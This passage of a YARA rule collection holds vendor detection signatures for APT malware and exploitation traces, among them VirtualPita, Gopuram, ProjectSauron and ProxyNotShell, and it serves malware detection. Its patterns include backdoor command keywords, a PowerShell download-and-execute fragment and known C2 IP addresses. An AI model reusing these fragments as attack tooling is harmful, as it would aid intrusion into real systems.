		hash1 = "afd281639e26a717aead65b1886f98d6d6c258736016023b4e59de30b7348719"
		id = "1be6528d-1b60-50da-8125-2ef73b8aeb4f"

	strings:
		$x1 = "We needed to load a secret key from %s, but it was encrypted. Try 'tor --keygen' instead, so you can enter the passphrase." fullword ascii
		$x2 = "Received a VERSION cell with odd payload length %d; closing connection." fullword ascii
		$x3 = "Please upgrade! This version of Tor (%s) is %s, according to the directory authorities. Recommended versions are: %s" fullword ascii

	condition:
		uint16( 0 ) == 0x457f and 1 of them
}

rule M_APT_VIRTUALPITA_1
{
	meta:
		author = "Mandiant"
		md5 = "fe34b7c071d96dac498b72a4a07cb246"
		description = "Finds opcodes to set a port to bind on 2233, encompassing the setsockopt(), htons(), and bind() from 40973d to 409791 in fe34b7c071d96dac498b72a4a07cb246 (may produce some FPs - comment by Florian Roth)"
		modified = "2023-11-25"
		score = 60
		id = "bdfbe29a-f7db-50d9-a909-d4ca96cc0731"

	strings:
		$x = {8b ?? ?? 4? b8 04 00 00 00 [0 - 4] ba 02 00 00 00 be 01 00 00 00 [0 - 2] e8 ?? ?? ?? ?? 89 4? ?? 83 7? ?? 00 79 [0 - 50] ba 10 00 00 00 [0 - 10] e8}

	condition:
		uint32( 0 ) == 0x464c457f and all of them
}

rule M_APT_VIRTUALPITA_2
{
	meta:
		author = "Mandiant"
		md5 = "fe34b7c071d96dac498b72a4a07cb246"
		description = "Finds opcodes to decode and parse the recieved data in the socket buffer in fe34b7c071d96dac498b72a4a07cb246.  Opcodes from 401a36 to 401adc"
		id = "6a59cc54-e1a0-594f-9efb-af63d5c05259"

	strings:
		$x = {85 c0 74 ?? c7 05 ?? ?? ?? ?? fb ff ff ff c7 8? ?? ?? ?? ?? 00 00 00 00 e9 ?? ?? ?? ?? 4? 8b 05 ?? ?? ?? ?? 4? 83 c0 01 4? 89 05 ?? ?? ?? ?? c7 4? ?? 00 00 00 00 e9 ?? ?? ?? ?? 8b 4? ?? 4? 98 4? 8d 9? ?? ?? ?? ?? 4? 8d ?? e0 4? 8b 0? 4? 89 0? 4? 8b 4? ?? 4? 89 4? ?? 8b 4? ?? 4? 98 4? 8d b? ?? ?? ?? ?? b? ?? ?? ?? ?? e8 ?? ?? ?? ?? c7 4? ?? 00 00 00 00 eb ?? 8b 4? ?? 8b 4? ?? 01 c1 8b 4? ?? 03 4? ?? 4? 98 0f b6 9? ?? ?? ?? ?? 8b 4? ?? 4? 98 0f b6 8? ?? ?? ?? ?? 31 c2 4? 63 c1 88 9? ?? ?? ?? ?? 83 4? ?? 01}

	condition:
		uint32( 0 ) == 0x464c457f and all of them
}

rule M_APT_VIRTUALPITA_3
{
	meta:
		author = "Mandiant"
		md5 = "fe34b7c071d96dac498b72a4a07cb246"
		description = "Finds opcodes from 409dd8 to 409e46 in fe34b7c071d96dac498b72a4a07cb246 to set the HISTFILE environment variable to 'F' with a putenv() after loading each character individually."
		id = "29ea2db0-4ab2-5e9c-8d42-7590ceabf99a"

	strings:
		$x = {4? 8b 4? ?? c6 00 48 4? 8b 4? ?? 4? 83 c0 05 c6 00 49 4? 8b 4? ?? 4? 83 c0 01 c6 00 49 4? 8b 4? ?? 4? 83 c0 06 c6 00 4c 4? 8b 4? ?? 4? 83 c0 02 c6 00 53 4? 8b 4? ?? 4? 83 c0 07 c6 00 45 4? 8b 4? ?? 4? 83 c0 03 c6 00 54 4? 8b 4? ?? 4? 83 c0 08 c6 00 3d 4? 8b 4? ?? 4? 83 c0 04 c6 00 46 4? 8b 4? ?? 4? 83 c0 09 c6 00 00 4? 8b 7? ?? e8}

	condition:
		uint32( 0 ) == 0x464c457f and all of them
}

rule M_APT_VIRTUALPITA_4
{
	meta:
		author = "Mandiant"
		md5 = "fe34b7c071d96dac498b72a4a07cb246"
		description = "Finds opcodes from 401f1c to 401f4f in fe34b7c071d96dac498b72a4a07cb246 to decode text with multiple XORs"
		id = "58d4db75-fcd5-50c2-93ba-a8a4718ac0f6"

	strings:
		$x = {4? 8b 4? ?? 4? 83 c1 30 4? 8b 4? ?? 4? 8b 10 8b 4? ?? 4? 98 4? 8b 04 ?? ?? ?? ?? ?? 4? 31 c2 4? 8b 4? ?? 4? 83 c0 28 4? 8b 00 4? c1 e8 10 0f b6 c0 4? 98 4? 8b 04}

	condition:
		uint32( 0 ) == 0x464c457f and all of them
}

rule M_Hunting_Python_Backdoor_CommandParser_1
{
	meta:
		author = "Mandiant"
		md5 = "61ab3f6401d60ec36cd3ac980a8deb75"
		description = "Finds strings indicative of the vmsyslog.py python backdoor."
		id = "15cbca01-24e6-5538-bcfd-c3222337aaf5"

	strings:
		$key1 = "self.conn.readInt8()" ascii
		$key2 = "upload" ascii
		$key3 = "download" ascii
		$key4 = "shell" ascii
		$key5 = "execute" ascii
		$re1 = /def\srun.{,20}command\s?=\s?self\.conn\.readInt8\(\).{,75}upload.{,75}download.{,75}shell.{,75}execute/s

	condition:
		filesize < 200KB and all of them
}

rule APT_Area1_SSF_PlugX
{
	meta:
		description = "Detects send tool used in phishing campaign reported by Area 1 in December 2018"
		reference = "https://cdn.area1security.com/reports/Area-1-Security-PhishingDiplomacy.pdf"
		date = "2018-12-19"
		author = "Area 1"
		id = "a5b4e781-f0d1-55df-926c-2d321aa48139"

	strings:
		$feature_call = { 8b 0? 56 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ??
         6a 07 6a ff ff d0 8b f0 85 f6 74 14 }
		$keylogger_reg = { 8b 4d 08 6a 0c 6a 01 8d 55 f4 52 c7 45 f4 01 00 06 00
         c7 45 f8 00 01 00 00 89 4d fc ff d0 85 c0 75 1d }
		$file_op = { 55 8b ec 83 ec 20 0f b7 56 18 8b 46 10 66 8b 4e 14 89 45 e4
         8d 44 32 10 66 89 4d f0 0f b7 4e 1a 57 89 45 e8 33 ff 8d 45 e0 8d 54
         31 10 50 89 7d e0 89 55 ec c7 45 fa ?? ?? ?? ?? 89 7d f2 89 7d f6 ff
         15 1c 43 02 10 }
		$ver_cmp = { 0f b6 8d b0 fe ff ff 0f b6 95 b4 fe ff ff 66 c1 e1 08 0f b7
         c1 0b c2 3d 02 05 00 00 7f 2c }
		$regedit = { c7 06 23 01 12 20 c7 46 04 01 90 00 00 89 5e 0c 89 5e 08 e8
         51 fb ff ff 8b 4d 08 8b 50 38 68 30 75 00 00 56 51 ff d2 }
		$get_device_caps = { 8b 1d ?? ?? ?? ?? 6a 08 50 ff d3 0f b7 56 12 8b c8 0f af ca
         b8 1f 85 eb 51 f7 e9 c1 fa 05 8b c2 c1 e8 1f 03 c2 89 45 f8 8b 45 f0 6a 0a 50 ff d3
         0f b7 56 14 8b c8 0f af ca b8 1f 85 eb 51 }

	condition:
		3 of them
}

rule APT_Area1_SSF_GoogleSend_Strings
{
	meta:
		description = "Detects send tool used in phishing campaign reported by Area 1 in December 2018"
		reference = "https://cdn.area1security.com/reports/Area-1-Security-PhishingDiplomacy.pdf"
		date = "2018-12-19"
		author = "Area 1 (modified by Florian Roth)"
		id = "66a2faa1-b133-528c-91a9-06a43d2c00a0"

	strings:
		$conf = "RefreshToken.ini" wide
		$client_id = "Enter your client ID here" wide
		$client_secret = "Enter your client secret here" wide
		$status = "We are going to send" wide
		$s1 = { b8 00 01 00 00 f0 0f b0 23 74 94 f3 90 80 3d ?? ?? ?? ?? 00 75 ??
         51 52 6a 00 e8 ?? ?? ?? ?? 5a 59 b8 00 01 00 00 f0 0f b0
         23 0f ?? ?? ?? ?? ?? 51 52 6a 0a e8 ?? ?? ?? ?? 5a 59 eb c3 }

	condition:
		uint16( 0 ) == 0x5a4d and 3 of them
}

rule Invoke_PSImage
{
	meta:
		description = "Detects a command to execute PowerShell from String"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/peewpw/Invoke-PSImage"
		date = "2017-12-16"
		id = "6abf53cd-6465-555b-a7d4-f5a917073f01"

	strings:
		$ = "IEX([System.Text.Encoding]::ASCII.GetString(" ascii wide
		$ = "System.Drawing.Bitmap((a Net.WebClient).OpenRead(" ascii wide
		$ = { 89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52
            00 00 04 E4 00 00 03 A0 08 06 00 00 00 9D AF A9
            E8 00 00 00 09 70 48 59 73 00 00 19 D6 00 00 19
            D6 01 18 D1 CA ED 00 00 00 07 74 49 4D 45 07 E1
            0C 0F 13 1E 36 89 C4 28 BF 00 00 00 07 74 45 58
            74 41 75 74 68 6F 72 00 A9 AE CC 48 00 00 00 0C
            74 45 58 74 44 65 73 63 72 69 70 74 69 6F 6E 00
            13 09 21 23 00 00 00 0A 74 45 58 74 43 6F 70 79
            72 69 67 68 74 00 AC 0F CC 3A 00 00 00 0E 74 45
            58 74 43 72 65 61 74 69 6F 6E 20 74 69 6D 65 00
            35 F7 0F }

	condition:
		filesize < 3000KB and 1 of them
}

rule COZY_FANCY_BEAR_Hunt
{
	meta:
		description = "Detects Cozy Bear / Fancy Bear C2 Server IPs"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/"
		date = "2016-06-14"
		id = "e81b4368-7383-5a48-a89a-f91b9306326e"

	strings:
		$s1 = "185.100.84.134" ascii wide fullword
		$s2 = "58.49.58.58" ascii wide fullword
		$s3 = "218.1.98.203" ascii wide fullword
		$s4 = "187.33.33.8" ascii wide fullword
		$s5 = "185.86.148.227" ascii wide fullword
		$s6 = "45.32.129.185" ascii wide fullword
		$s7 = "23.227.196.217" ascii wide fullword

	condition:
		uint16( 0 ) == 0x5a4d and 1 of them
}

rule COZY_FANCY_BEAR_pagemgr_Hunt
{
	meta:
		description = "Detects a pagemgr.exe as mentioned in the CrowdStrike report"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/"
		date = "2016-06-14"
		id = "3c5c8843-81ba-510c-82ed-4b6e2286bdb2"

	strings:
		$s1 = "pagemgr.exe" wide fullword

	condition:
		uint16( 0 ) == 0x5a4d and 1 of them
}

rule MAL_Shellcode_Loader_Apr23
{
	meta:
		author = "X__Junior (Nextron Systems)"
		reference = "https://securelist.com/gopuram-backdoor-deployed-through-3cx-supply-chain-attack/109344/"
		description = "Detects Shellcode loader as seen being used by Gopuram backdoor"
		date = "2023-04-03"
		hash1 = "6ce5b6b4cdd6290d396465a1624d489c7afd2259a4d69b73c6b0ba0e5ad4e4ad"
		hash2 = "b56279136d816a11cf4db9fc1b249da04b3fa3aef4ba709b20cdfbe572394812"
		score = 80
		id = "363b67d6-9cac-513d-a545-1f256667bab8"

	strings:
		$op1 = { 41 C1 CB 0D 0F BE 03 48 FF C3 44 03 D8 80 7B ?? 00 75 ?? 41 8D 04 13 3B C6 74 }
		$op2 = { B9 49 F7 02 78 4C 8B E8 E8 ?? ?? ?? ?? B9 58 A4 53 E5 48 89 44 24 ?? E8 ?? ?? ?? ?? B9 10 E1 8A C3 48 8B F0 E8 ?? ?? ?? ?? B9 AF B1 5C 94 48 89 44 24 ?? E8 }

	condition:
		all of them
}

import "pe"

rule APT_MAL_Gopuram_Backdoor_Apr23
{
	meta:
		author = "X__Junior (Nextron Systems)"
		reference = "https://securelist.com/gopuram-backdoor-deployed-through-3cx-supply-chain-attack/109344/"
		description = "Detects Gopuram backdoor"
		date = "2023-02-24"
		hash1 = "beb775af5196f30e0ee021790a4978ca7a7ac2a7cf970a5a620ffeb89cc60b2c"
		hash2 = "97b95b4a5461f950e712b82783930cb2a152ec0288c00a977983ca7788342df7"
		score = 80
		id = "3ae5ddcb-5601-5dca-85dd-0a4772577fae"

	strings:
		$x1 = "%s\\config\\TxR\\%s.TxR.0.regtrans-m" ascii
		$xop = { D1 E8 33 C3 D1 EB A8 01 74 ?? 81 F3 25 A3 87 DE D1 E8 33 C3 D1 EB A8 01 74 ?? 81 F3 25 A3 87 DE D1 E8 33 C3 D1 EB A8 01 74 ?? 81 F3 25 A3 87 DE D1 E8 33 C3 D1 EB A8 01 74 ?? 81 F3 25 A3 87 DE }
		$opa1 = { 48 89 44 24 ?? 45 33 C9 45 33 C0 33 D2 89 5C 24 ?? 48 89 74 24 ?? 48 89 5C 24 ?? 89 7C 24 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 48 8B 4C 24 ?? 4C 8D 4C 24 ?? 44 8D 43 }
		$opa2 = { 48 89 B4 24 ?? ?? ?? ?? 44 8D 43 ?? 33 D2 48 89 BC 24 ?? ?? ?? ?? 4C 89 B4 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 4C 24 ?? E8 ?? ?? ?? ?? 48 8B 4C 24 ?? 45 33 C0 33 D2 8B F8 E8 ?? ?? ?? ?? 8D 4F ?? E8 ?? ?? ?? ?? 4C 8B 4C 24 ?? 44 8D 43 ?? 48 8B C8 8B D7 48 8B F0 44 8B F7 E8 ?? ?? ?? ?? 48 8B 4C 24 ?? E8  }

	condition:
		( uint16( 0 ) == 0x5A4D and filesize < 2MB and pe.characteristics & pe.DLL and 1 of ( $x* ) ) or all of ( $opa* )
}

rule APT_NK_MAL_DLL_Apr23_1
{
	meta:
		description = "Detects DLLs loaded by shellcode loader (6ce5b6b4cdd6290d396465a1624d489c7afd2259a4d69b73c6b0ba0e5ad4e4ad) (relation to Lazarus group)"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://securelist.com/gopuram-backdoor-deployed-through-3cx-supply-chain-attack/109344/"
		date = "2023-04-03"
		score = 75
		hash1 = "69dd140f45c3fa3aaa64c69f860cd3c74379dec37c46319d7805a29b637d4dbf"
		hash3 = "bb1066c1ca53139dc5a2c1743339f4e6360d6fe4f2f3261d24fc28a12f3e2ab9"
		hash4 = "dca33d6dacac0859ec2f3104485720fe2451e21eb06e676f4860ecc73a41e6f9"
		hash5 = "fe948451df90df80c8028b969bf89ecbf501401e7879805667c134080976ce2e"
		id = "c2abe266-0c21-51aa-9426-46a4f59df937"

	strings:
		$x1 = "vG2eZ1KOeGd2n5fr" ascii fullword
		$s1 = "Windows %d(%d)-%s" ascii fullword
		$s2 = "auth_timestamp: " ascii fullword
		$s3 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36" wide fullword
		$op1 = { b8 c8 00 00 00 83 fb 01 44 0f 47 e8 41 8b c5 48 8b b4 24 e0 18 00 00 4c 8b a4 24 e8 18 00 00 48 8b 8d a0 17 00 00 48 33 cc }
		$op2 = { 33 d2 46 8d 04 b5 00 00 00 00 66 0f 1f 44 00 00 49 63 c0 41 ff c0 8b 4c 84 70 31 4c 94 40 48 ff c2 }
		$op3 = { 89 5c 24 50 0f 57 c0 c7 44 24 4c 04 00 00 00 c7 44 24 48 40 00 00 00 0f 11 44 24 60 0f 11 44 24 70 0f 11 45 80 0f 11 45 90 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 500KB and ( 1 of ( $x* ) or 2 of them ) or ( $x1 and 1 of ( $s* ) or 3 of them )
}

rule APT_UNC4736_NK_MAL_TAXHAUL_3CX_Apr23_1
{
	meta:
		description = "Detects TAXHAUL (AKA TxRLoader) malware used in the 3CX compromise by UNC4736"
		author = "Mandiant"
		date = "2023-03-04"
		score = 80
		reference = "https://www.3cx.com/blog/news/mandiant-initial-results/"
		id = "25a80f98-03d6-59e6-84e6-6d847a6c591e"

	strings:
		$p00_0 = {410f45fe4c8d3d[4]eb??4533f64c8d3d[4]eb??4533f64c8d3d[4]eb}
		$p00_1 = {4d3926488b01400f94c6ff90[4]41b9[4]eb??8bde4885c074}

	condition:
		uint16( 0 ) == 0x5A4D and any of them
}

rule apt_ProjectSauron_pipe_backdoor
{
	meta:
		copyright = "Kaspersky Lab"
		description = "Rule to detect ProjectSauron pipe backdoors"
		version = "1.0"
		reference = "https://securelist.com/blog/"
		id = "5a1dd4b3-a03c-51bb-a7bc-25729b487f70"

	strings:
		$a1 = "CreateNamedPipeW" fullword ascii
		$a2 = "SetSecurityDescriptorDacl" fullword ascii
		$a3 = "GetOverlappedResult" fullword ascii
		$a4 = "TerminateThread" fullword ascii
		$a5 = "%s%s%X" fullword wide

	condition:
		uint16( 0 ) == 0x5A4D and ( all of ( $a* ) ) and filesize < 100000
}

import "pe"
import "math"

rule apt_ProjectSauron_encrypted_LSA
{
	meta:
		copyright = "Kaspersky Lab"
		description = "Rule to detect ProjectSauron encrypted LSA samples"
		version = "1.0"
		reference = "https://securelist.com/blog/"
		id = "f6fd8619-60f0-5c0d-aa66-cd0e154de63c"

	strings:
		$a1 = "EFEB0A9C6ABA4CF5958F41DB6A31929776C643DEDC65CC9B67AB8B0066FF2492" fullword ascii
		$a2 = "\\Device\\NdisRaw_" ascii
		$a3 = "\\\\.\\GLOBALROOT\\Device\\{8EDB44DC-86F0-4E0E-8068-BD2CABA4057A}" fullword wide
		$a4 = "Global\\{a07f6ba7-8383-4104-a154-e582e85a32eb}" fullword wide
		$a5 = "Missing function %S::#%d" fullword wide
		$a6 = {8945D08D8598FEFFFF2BD08945D88D45BC83C20450C745C0030000008975C48955DCFF55FC8BF88D8F0000003A83F90977305333DB53FF15}
		$a7 = {488D4C24304889442450488D452044886424304889442460488D4520C7442434030000002BD848897C243844896C244083C308895C246841FFD68D880000003A8BD883F909772DFF}

	condition:
		uint16( 0 ) == 0x5A4D and ( any of ( $a* ) or ( pe.exports ( "InitializeChangeNotify" ) and pe.exports ( "PasswordChangeNotify" ) and math.entropy ( 0x400 , filesize ) >= 7.5 ) ) and filesize < 1000000
}

import "pe"
import "math"

rule apt_ProjectSauron_encrypted_SSPI
{
	meta:
		copyright = "Kaspersky Lab"
		description = "Rule to detect encrypted ProjectSauron SSPI samples"
		version = "1.0"
		reference = "https://securelist.com/blog/"
		id = "43c0e772-46d2-510e-bea1-6f505199f38c"

	condition:
		uint16( 0 ) == 0x5A4D and filesize < 1000000 and pe.exports ( "InitSecurityInterfaceA" ) and pe.characteristics & pe.DLL and ( pe.machine == pe.MACHINE_AMD64 or pe.machine == pe.MACHINE_IA64 ) and math.entropy ( 0x400 , filesize ) >= 7.5
}

rule apt_ProjectSauron_MyTrampoline
{
	meta:
		copyright = "Kaspersky Lab"
		description = "Rule to detect ProjectSauron MyTrampoline module"
		version = "1.0"
		reference = "https://securelist.com/blog/"
		id = "b4f2cabf-11da-5fa1-8c23-0a177f8a4741"

	strings:
		$a1 = ":\\System Volume Information\\{" wide
		$a2 = "\\\\.\\PhysicalDrive%d" wide
		$a3 = "DMWndClassX%d"
		$b1 = "{774476DF-C00F-4e3a-BF4A-6D8618CFA532}" ascii wide
		$b2 = "{820C02A4-578A-4750-A409-62C98F5E9237}" ascii wide

	condition:
		uint16( 0 ) == 0x5A4D and filesize < 5000000 and ( all of ( $a* ) or any of ( $b* ) )
}

import "math"

rule apt_ProjectSauron_encrypted_container
{
	meta:
		copyright = "Kaspersky Lab"
		description = "Rule to detect ProjectSauron samples encrypted container"
		version = "1.0"
		reference = "https://securelist.com/blog/"
		id = "4462ebd9-24eb-570a-94b8-6fa6bf2a5a63"

	strings:
		$vfs_header = {02 AA 02 C1 02 0?}
		$salt = {91 0A E0 CC 0D FE CE 36 78 48 9B 9C 97 F7 F5 55}

	condition:
		uint16( 0 ) == 0x5A4D and ( ( @vfs_header < 0x4000 ) or $salt ) and math.entropy ( 0x400 , filesize ) >= 6.5 and ( filesize > 0x400 ) and filesize < 10000000
}

rule apt_ProjectSauron_encryption
{
	meta:
		copyright = "Kaspersky Lab"
		description = "Rule to detect ProjectSauron string encryption"
		version = "1.0"
		reference = "https://securelist.com/blog/"
		id = "b3139045-54f5-5d59-980b-8510faa9ad0e"

	strings:
		$a1 = {81??02AA02C175??8B??0685}
		$a2 = {918D9A94CDCC939A93939BD18B9AB8DE9C908DAF8D9B9BBE8C8C9AFF}
		$a3 = {803E225775??807E019F75??807E02BE75??807E0309}

	condition:
		filesize < 5000000 and any of ( $a* )
}

rule apt_ProjectSauron_generic_pipe_backdoor
{
	meta:
		copyright = "Kaspersky Lab"
		description = "Rule to detect ProjectSauron generic pipe backdoors"
		version = "1.0"
		reference = "https://securelist.com/blog/"
		id = "77a82c67-7ee1-5d1f-ad75-28ce174e41bc"

	strings:
		$a = { C7 [2-3] 32 32 32 32 E8 }
		$b = { 42 12 67 6B }
		$c = { 25 31 5F 73 }
		$d = "rand"
		$e = "WS2_32"

	condition:
		uint16( 0 ) == 0x5A4D and ( all of them ) and filesize < 400000
}

rule TidePool_Malware
{
	meta:
		description = "Detects TidePool malware mentioned in Ke3chang report by Palo Alto Networks"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://goo.gl/m2CXWR"
		date = "2016-05-24"
		hash1 = "9d0a47bdf00f7bd332ddd4cf8d95dd11ebbb945dda3d72aac512512b48ad93ba"
		hash2 = "67c4e8ab0f12fae7b4aeb66f7e59e286bd98d3a77e5a291e8d58b3cfbc1514ed"
		hash3 = "2252dcd1b6afacde3f94d9557811bb769c4f0af3cb7a48ffe068d31bb7c30e18"
		hash4 = "38f2c86041e0446730479cdb9c530298c0c4936722975c4e7446544fd6dcac9f"
		hash5 = "9d0a47bdf00f7bd332ddd4cf8d95dd11ebbb945dda3d72aac512512b48ad93ba"
		id = "eec12fd7-f5f8-5bee-98e0-2111766deb55"

	strings:
		$x1 = "Content-Disposition: form-data; name=\"m1.jpg\"" fullword ascii
		$x2 = "C:\\PROGRA~2\\IEHelper\\mshtml.dll" fullword wide
		$x3 = "C:\\DOCUME~1\\ALLUSE~1\\IEHelper\\mshtml.dll" fullword wide
		$x4 = "IEComDll.dat" fullword ascii
		$s1 = "Content-Type: multipart/form-data; boundary=----=_Part_%x" fullword wide
		$s2 = "C:\\Windows\\System32\\rundll32.exe" fullword wide
		$s3 = "network.proxy.socks_port\", " fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 200KB and ( 1 of ( $x* ) ) ) or ( 4 of them )
}

rule EXPL_LOG_ProxyNotShell_OWASSRF_PowerShell_Proxy_Log_Dec22_1
{
	meta:
		description = "Detects traces of exploitation activity in relation to ProxyNotShell MS Exchange vulnerabilities CVE-2022-41040 and CVE-2022-41082"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.crowdstrike.com/blog/owassrf-exploit-analysis-and-recommendations/"
		date = "2022-12-22"
		score = 70
		id = "a61f6582-474f-5b6f-b8f5-329c0bcc4017"

	strings:
		$s1 = "/owa/mastermailbox%40outlook.com/powershell" ascii wide
		$sa1 = " 200 " ascii wide
		$sa2 = " POST " ascii wide
		$fp1 = "ClientInfo" ascii wide fullword
		$fp2 = "Microsoft WinRM Client" ascii wide fullword
		$fp3 = "Exchange BackEnd Probes" ascii wide fullword

	condition:
		all of ( $s* ) and not 1 of ( $fp* )
}

rule EXPL_LOG_ProxyNotShell_OWASSRF_PowerShell_Proxy_Log_Dec22_2
{
	meta:
		description = "Detects traces of exploitation activity in relation to ProxyNotShell MS Exchange vulnerabilities CVE-2022-41040 and CVE-2022-41082"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.crowdstrike.com/blog/owassrf-exploit-analysis-and-recommendations/"
		date = "2022-12-22"
		score = 60
		id = "85722997-fd28-51cf-817e-7a314e284b0b"

	strings:
		$sr1 = / \/owa\/[^\/\s]{1,30}(%40|@)[^\/\s\.]{1,30}\.[^\/\s]{2,3}\/powershell / ascii wide
		$sa1 = " 200 " ascii wide
		$sa2 = " POST " ascii wide
		$fp1 = "ClientInfo" ascii wide fullword
		$fp2 = "Microsoft WinRM Client" ascii wide fullword
		$fp3 = "Exchange BackEnd Probes" ascii wide fullword

	condition:
		all of ( $s* ) and not 1 of ( $fp* )
}

rule EXPL_LOG_ProxyNotShell_OWASSRF_PowerShell_Proxy_Log_Dec22_3
{
	meta:
		description = "Detects traces of exploitation activity in relation to ProxyNotShell MS Exchange vulnerabilities CVE-2022-41040 and CVE-2022-41082"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.crowdstrike.com/blog/owassrf-exploit-analysis-and-recommendations/"
		date = "2022-12-22"
		score = 60
		id = "76dd786e-daaa-5cd9-8e3e-50d9eab7f9d2"

	strings:
		$sa1 = " POST /powershell - 444 " ascii wide
		$sa2 = " POST /Powershell - 444 " ascii wide
		$sb1 = " - 200 0 0 2" ascii wide
		$fp1 = "ClientInfo" ascii wide fullword
		$fp2 = "Microsoft WinRM Client" ascii wide fullword
		$fp3 = "Exchange BackEnd Probes" ascii wide fullword

	condition:
		1 of ( $sa* ) and $sb1 and not 1 of ( $fp* )
}

rule EXPL_LOG_ProxyNotShell_PowerShell_Proxy_Log_Dec22_1
{
	meta:
		description = "Detects traces of exploitation activity in relation to ProxyNotShell MS Exchange vulnerabilities CVE-2022-41040 and CVE-2022-41082"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.crowdstrike.com/blog/owassrf-exploit-analysis-and-recommendations/"
		date = "2022-12-22"
		modified = "2023-01-26"
		score = 70
		id = "5af3ae70-8897-593f-a413-82ca1d1ba961"

	strings:
		$re1 = /,\/[Pp][Oo][Ww][Ee][Rr][Ss][Hh][Ee][Ll][Ll][^\n]{0,50},Kerberos,true,[^\n]{0,50},200,0,,,,[^\n]{0,2000};OnEndRequest\.End\.ContentType=application\/soap\+xml charset UTF-8;S:ServiceCommonMetadata\.HttpMethod=POST;/ ascii wide
		$fp1 = "ClientInfo" ascii wide fullword
		$fp2 = "Microsoft WinRM Client" ascii wide fullword
		$fp3 = "Exchange BackEnd Probes" ascii wide fullword

	condition:
		$re1 and not 1 of ( $fp* )
}

rule Andromeda_MalBot_Jun_1A
{
	meta:
		description = "Detects a malicious Worm Andromeda / RETADUP"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://blog.trendmicro.com/trendlabs-security-intelligence/information-stealer-found-hitting-israeli-hospitals/"
		date = "2017-06-30"
		modified = "2022-12-21"
		hash1 = "3c223bbf83ac2f91c79383a53ed15b0c8ffe2caa1bf52b26c17fd72278dc7ef9"
		hash2 = "73cecc67bb12cf5a837af9fba15b7792a6f1a746b246b34f8ed251c4372f1a98"
		hash3 = "66035cc81e811735beab573013950153749b02703eae58b90430646f6e3e3eb4"
		hash4 = "42a02e6cf7c424c12f078fca21805de072842ec52a25ea87bd7d53e7feb536ed"
		id = "42ee6ba3-85ea-5369-bd9b-8ffdec6e17bc"

	strings:
		$x1 = "%temp%\\FolderN\\name.exe" fullword wide
		$x2 = "%temp%\\FolderN\\name.exe.lnk" fullword wide
		$x3 = "\\Startup\\name.exe" wide
		$x4 = "firefox.exe.exe" fullword wide
		$x5 = "\\Desktop\\New folder\\dark.exe" wide
		$x6 = "\\x86\\Release\\word.pdb" ascii
		$x7 = "\\obj\\Release\\botkill.pdb" ascii
		$s1 = "4System.Web.Services.Protocols.SoapHttpClientProtocol" fullword ascii
		$s2 = "svhost.exe" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 2000KB and ( 1 of ( $x* ) or 2 of them )
}

rule SUSP_Office_Dropper_Strings
{
	meta:
		description = "Detects Office droppers that include a notice to enable active content"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2018-09-13"
		id = "6560fdf7-46e8-5c16-8263-a36f1dec7868"

	strings:
		$a1 = "_VBA_PROJECT" wide
		$s1 = "click enable editing" fullword ascii
		$s2 = "click enable content" fullword ascii
		$s3 = "\"Enable Editing\"" fullword ascii
		$s4 = "\"Enable Content\"" fullword ascii

	condition:
		uint16( 0 ) == 0xcfd0 and filesize < 500KB and $a1 and 1 of ( $s* )
}

rule SUSP_EnableContent_String_Gen
{
	meta:
		description = "Detects suspicious string that asks to enable active content in Office Doc"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2019-02-12"
		hash1 = "525ba2c8d35f6972ac8fcec8081ae35f6fe8119500be20a4113900fe57d6a0de"
		id = "d763bc21-2925-55df-85e0-1ee857e921ca"

	strings:
		$e1 = "Enable Editing" fullword ascii
		$e2 = "Enable Content" fullword ascii
		$e3 = "Enable editing" fullword ascii
		$e4 = "Enable content" fullword ascii

	condition:
		uint16( 0 ) == 0xcfd0 and ( $e1 in ( 0 .. 3000 ) or $e2 in ( 0 .. 3000 ) or $e3 in ( 0 .. 3000 ) or $e4 in ( 0 .. 3000 ) or 2 of them )
}

rule SUSP_WordDoc_VBA_Macro_Strings
{
	meta:
		description = "Detects suspicious strings in Word Doc that indcate malicious use of VBA macros"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2019-02-12"
		score = 60
		hash1 = "525ba2c8d35f6972ac8fcec8081ae35f6fe8119500be20a4113900fe57d6a0de"
		id = "210baf6e-ec67-5bc4-ba27-6a6de0c11a73"

	strings:
		$a1 = "\\Microsoft Shared\\" ascii
		$a2 = "\\VBA\\" ascii
		$a3 = "Microsoft Office Word" fullword ascii
		$a4 = "PROJECTwm" fullword wide
		$s1 = "AppData" fullword ascii
		$s2 = "Document_Open" fullword ascii
		$s3 = "Project1" fullword ascii
		$s4 = "CreateObject" fullword ascii

	condition:
		uint16( 0 ) == 0xcfd0 and filesize < 800KB and all of them
}

rule SUSP_OfficeDoc_VBA_Base64Decode
{
	meta:
		description = "Detects suspicious VBA code with Base64 decode functions"
